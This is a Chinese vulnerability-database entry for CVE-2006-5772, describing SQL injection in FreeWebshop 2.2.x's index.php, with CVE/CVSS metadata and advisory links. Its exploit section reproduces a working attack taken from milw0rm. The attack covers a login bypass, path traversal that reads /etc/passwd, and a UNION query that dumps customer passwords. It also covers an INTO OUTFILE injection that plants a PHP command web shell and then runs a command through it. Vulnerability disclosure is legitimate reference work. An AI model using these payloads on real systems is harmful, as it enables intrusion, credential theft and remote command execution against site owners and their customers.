FreeWebshop index.php 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111444 漏洞类型 SQL注入
发布时间 2006-11-02 更新时间 2006-11-06
CVE编号 CVE-2006-5772 CNNVD-ID CNNVD-200611-086
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2704
https://www.securityfocus.com/bid/83622
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-086
|漏洞详情
FreeWebshop中的index.php存在多个SQL注入漏洞,远程攻击者可通过(1)password和(2)prod参数执行任意SQL命令。
|漏洞EXP
Product: www.freewebshop.org
Version: 2.2.x, maybe lower
Critical Lvl : Highly critical
Where : From Remote
Exploits:

Bypass Login:
username:admin
password:' or 'a'='a

Read Files:
/index.php?page=info&action=../../../../../../../../../../../../etc/passwd%00

List Passwords:
/index.php?page=details&prod=1%20UNION%20SELECT%201,password,3,loginname,5,6,7,8%20FROM%20customer

Path Disclosure:
/index.php?page=info&action=../../1337inexistant

Create Files (needs Path Disclosure):
/index.php?page=details&prod=1337%20UNION%20SELECT%201,2,3,%22%3C?php%20passthru($_GET['cmd'])%20?%3E%22,5,6,7,8%20FROM%20customer%20INTO%20OUTFILE%20'[NEWPATH]/fork.php'
/langs/uk/fork.php?cmd=ls


Discovered by Spiked and anonymous.
irc.geekshangout.org #backup 

# milw0rm.com [2006-11-02]
|受影响的产品
FreeWebshop FreeWebshop 2.2.1
|参考资料

来源:XF
名称:freewebshop-logging-sql-injection(29990)
链接:http://xforce.iss.net/xforce/xfdb/29990
来源:MILW0RM
名称:2704
链接:http://www.milw0rm.com/exploits/2704
来源:VUPEN
名称:ADV-2006-4332
链接:http://www.frsirt.com/english/advisories/2006/4332
来源:SECUNIA
名称:22664
链接:http://secunia.com/advisories/22664
来源:www.freewebshop.org
链接:http://www.freewebshop.org/index.php?id=27
来源:MILW0RM
名称:2704
链接:http://milw0rm.com/exploits/2704